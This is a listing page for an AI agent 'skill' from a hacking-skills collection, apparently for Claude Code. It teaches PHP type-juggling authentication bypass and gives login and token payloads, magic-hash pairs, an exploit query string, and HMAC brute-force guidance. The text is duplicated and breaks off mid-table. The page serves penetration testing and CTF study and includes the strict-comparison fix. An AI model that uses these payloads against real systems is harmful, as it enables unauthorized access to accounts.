/type-juggling
PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.
$ npx -y skills add yaklang/hack-skills --skill type-juggling --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/type-juggling
Context preview
The summary Claude sees to decide when to auto-load this skill.
PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.
SKILL.md
type-juggling.SKILL.mdname: type-juggling
description: >-
PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.
SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass
> **AI LOAD INSTRUCTION**: PHP `==` coercion, magic hashes (`0e…`), HMAC/hash loose checks, NULL from bad types, and CTF-style `strcmp` / `json_decode` / `intval` tricks. Use strict routing: map the sink (`==` vs `hash_equals`), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like `md5($_GET['x'])==md5($_GET['y'])`, start with this skill; if `hash_equals`/`===` is already used, this path usually does not apply.
0. QUICK START
**First-pass goal**: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
First-pass payloads (auth / token shape)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00Minimal PHP probes (local or `php -r` in lab)
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));Routing hints
| Clue | Next step | |---|---| | Source code uses `==` to compare passwords, tokens, or HMAC values | Go to Sections 1-3 | | `md5($a) == md5($b)` or loose `sha1` comparison | Section 2 magic hashes | | `hash_hmac(...) != '0'` or compared with `"0"` | Section 3 | | `strcmp`、`json_decode(..., true)`、`intval` | Section 5 |
---
1. LOOSE COMPARISON (`==`) — TRUTH TABLE & VERSIONS
PHP compares operands with type juggling unless you use `===` or `hash_equals()` for secrets.
1.1 Core examples (strings vs numbers)
| Expression | Result | Mechanism (short) | |---|---|---| | `'0010e2' == '1e3'` | **true** | Both strings look numeric → compared as **floats**; both parse to **1000.0** (not zero — common exam trap; see next row for real “both zero”) | | `'0e462097431906509019562988736854' == '0e830400451993494058024219903391'` | **true** | Both parse as **0.0** in scientific notation | | `'123a' == 123` | **true** | String cast to int stops at first non-digit → `123` | | `'abc' == 0` | **true** (PHP **7.x and earlier**) | Non-numeric string compared to int → string becomes `0` | | `'' == 0` | **true** | Empty string → `0` | | `'' == false` | **true** | both “falsy” in loose rules | | `false == NULL` | **true** | loose equality | | `0 == false` | **true** | loose equality | | `'' == 0 == false == NULL` | **true** (chain) | Each adjacent pair is **true** under `==` (`''==0`, `0==false`, `false==NULL`) — classic “falsy” chain | | `'0' == false` | **true** | String `'0'` is the **only** non-empty string that compares as false to boolean | | `'php' == 0` | **false** (PHP **8+**) | PHP 8: non-numeric string **no longer** equals `0` |
1.2 PHP 5 vs 7 vs 8 (high-signal deltas)
| Topic | PHP 5.x / 7.x (typical) | PHP 8.0+ | |---|---|---| | `0 == "foo"` | **true** (string → 0) | **false** | | String-to-number for `"123a"` | Still truncates for `(int)` / numeric compare in many `==` paths | Same idea for numeric strings; **non-numeric** vs int fixed as above | | `md5([])` / `sha1([])` | May warn / `NULL`-like behavior in older patterns | **TypeError** for wrong types — kills classic `[]` tricks unless error handling collapses to NULL |
**Tester takeaway**: always note **PHP version** from headers, `X-Powered-By`, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.
1.3 Safe alternative (defense / verification)
hash_equals((string)$expected, (string)$actual); // timing-safe, strict string
// or
$expected === $actual;
---
2. MAGIC HASHES (`0e…` + digits only)
When both sides are **hex-looking hash strings** that match `^0e[0-9]+$`, PHP treats them as **floats in scientific notation** → value **0.0**. Then `md5(A) == md5(B)` is **true** even though digests differ as strings.
2.1 Reference table (MD5 / SHA-1 and longer algos)
| Algorithm | Example input | Digest (starts with `0e` + all decimal digits) | |---|---|---| | **MD5** | `240610708` | `0e462097431906509019562988736854` | | **MD5** | `QNKCDZO` | `0e830400451993494058024219903391` | | **SHA-1** | `10932435112` | `0e07766915004133176347055865026311692244` | | **SHA-224** | *(brute-force / precomputed)* | Example form: `0e` + decimal digits only → `==` with another such string is true | | **SHA-256** | *(brute-force / precomputed)* | Same pattern: only strings matching `^0e\d+$` collide under `==` |
**Why it works**: `md5('240610708') == md5('QNKCDZO')` → both sides match `^0e[0-9]+$` → both interpreted as **0.0 == 0.0** → **true**.
2.2 Exploit pattern in code
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// intended: different strings, same md5 (impossible for md5)
// actual: two different strings whose *digests* are magic hashes
}2.3 Payload sketch (pair hunting)
?a=240610708&b=QNKCDZO
For SHA-224/256, treat as **search problem**: brute-force inputs until digest matches `^0e\d+$`; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.
---
3. HMAC BYPASS (LOOSE COMPARE VS `"0"` OR `0`)
If logic uses **loose** inequality against a constant:
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.Brute-force **`$data`** (e.g. timestamp, nonce, counter) until `hash_hmac` output matches **`^0e[0-9]+$`** (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to `0` or to another magic digest under `==`.
Example (MD5-style `0e` digest for a numeric message)
| Concept | Example | |---|---| | Message type
Read more
name: type-juggling description: >- PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.
SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass
> **AI LOAD INSTRUCTION**: PHP `==` coercion, magic hashes (`0e…`), HMAC/hash loose checks, NULL from bad types, and CTF-style `strcmp` / `json_decode` / `intval` tricks. Use strict routing: map the sink (`==` vs `hash_equals`), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like `md5($_GET['x'])==md5($_GET['y'])`, start with this skill; if `hash_equals`/`===` is already used, this path usually does not apply.
0. QUICK START
**First-pass goal**: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
First-pass payloads (auth / token shape)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00Minimal PHP probes (local or `php -r` in lab)
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));Routing hints
| Clue | Next step | |---|---| | Source code uses `==` to compare passwords, tokens, or HMAC values | Go to Sections 1-3 | | `md5($a) == md5($b)` or loose `sha1` comparison | Section 2 magic hashes | | `hash_hmac(...) != '0'` or compared with `"0"` | Section 3 | | `strcmp`、`json_decode(..., true)`、`intval` | Section 5 |
---
1. LOOSE COMPARISON (`==`) — TRUTH TABLE & VERSIONS
PHP compares operands with type juggling unless you use `===` or `hash_equals()` for secrets.
1.1 Core examples (strings vs numbers)
| Expression | Result | Mechanism (short) | |---|---|---| | `'0010e2' == '1e3'` | **true** | Both strings look numeric → compared as **floats**; both parse to **1000.0** (not zero — common exam trap; see next row for real “both zero”) | | `'0e462097431906509019562988736854' == '0e830400451993494058024219903391'` | **true** | Both parse as **0.0** in scientific notation | | `'123a' == 123` | **true** | String cast to int stops at first non-digit → `123` | | `'abc' == 0` | **true** (PHP **7.x and earlier**) | Non-numeric string compared to int → string becomes `0` | | `'' == 0` | **true** | Empty string → `0` | | `'' == false` | **true** | both “falsy” in loose rules | | `false == NULL` | **true** | loose equality | | `0 == false` | **true** | loose equality | | `'' == 0 == false == NULL` | **true** (chain) | Each adjacent pair is **true** under `==` (`''==0`, `0==false`, `false==NULL`) — classic “falsy” chain | | `'0' == false` | **true** | String `'0'` is the **only** non-empty string that compares as false to boolean | | `'php' == 0` | **false** (PHP **8+**) | PHP 8: non-numeric string **no longer** equals `0` |
1.2 PHP 5 vs 7 vs 8 (high-signal deltas)
| Topic | PHP 5.x / 7.x (typical) | PHP 8.0+ | |---|---|---| | `0 == "foo"` | **true** (string → 0) | **false** | | String-to-number for `"123a"` | Still truncates for `(int)` / numeric compare in many `==` paths | Same idea for numeric strings; **non-numeric** vs int fixed as above | | `md5([])` / `sha1([])` | May warn / `NULL`-like behavior in older patterns | **TypeError** for wrong types — kills classic `[]` tricks unless error handling collapses to NULL |
**Tester takeaway**: always note **PHP version** from headers, `X-Powered-By`, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.
1.3 Safe alternative (defense / verification)
hash_equals((string)$expected, (string)$actual); // timing-safe, strict string // or $expected === $actual;
---
2. MAGIC HASHES (`0e…` + digits only)
When both sides are **hex-looking hash strings** that match `^0e[0-9]+$`, PHP treats them as **floats in scientific notation** → value **0.0**. Then `md5(A) == md5(B)` is **true** even though digests differ as strings.
2.1 Reference table (MD5 / SHA-1 and longer algos)
| Algorithm | Example input | Digest (starts with `0e` + all decimal digits) | |---|---|---| | **MD5** | `240610708` | `0e462097431906509019562988736854` | | **MD5** | `QNKCDZO` | `0e830400451993494058024219903391` | | **SHA-1** | `10932435112` | `0e07766915004133176347055865026311692244` | | **SHA-224** | *(brute-force / precomputed)* | Example form: `0e` + decimal digits only → `==` with another such string is true | | **SHA-256** | *(brute-force / precomputed)* | Same pattern: only strings matching `^0e\d+$` collide under `==` |
**Why it works**: `md5('240610708') == md5('QNKCDZO')` → both sides match `^0e[0-9]+$` → both interpreted as **0.0 == 0.0** → **true**.
2.2 Exploit pattern in code
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// intended: different strings, same md5 (impossible for md5)
// actual: two different strings whose *digests* are magic hashes
}2.3 Payload sketch (pair hunting)
?a=240610708&b=QNKCDZO
For SHA-224/256, treat as **search problem**: brute-force inputs until digest matches `^0e\d+$`; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.
---
3. HMAC BYPASS (LOOSE COMPARE VS `"0"` OR `0`)
If logic uses **loose** inequality against a constant:
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.Brute-force **`$data`** (e.g. timestamp, nonce, counter) until `hash_hmac` output matches **`^0e[0-9]+$`** (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to `0` or to another magic digest under `==`.
Example (MD5-style `0e` digest for a numeric message)
| Concept | Example | |---|---| | Message type
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 101 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
Other skills on hack-skills.
- /401-403-bypass-techniques
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
Open skill - /active-directory-acl-abuse
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
Open skill - /active-directory-certificate-services
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
Open skill - /active-directory-kerberos-attacks
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
Open skill - /ai-ml-security
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.
Open skill - /android-pentesting-tricks
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
Open skill

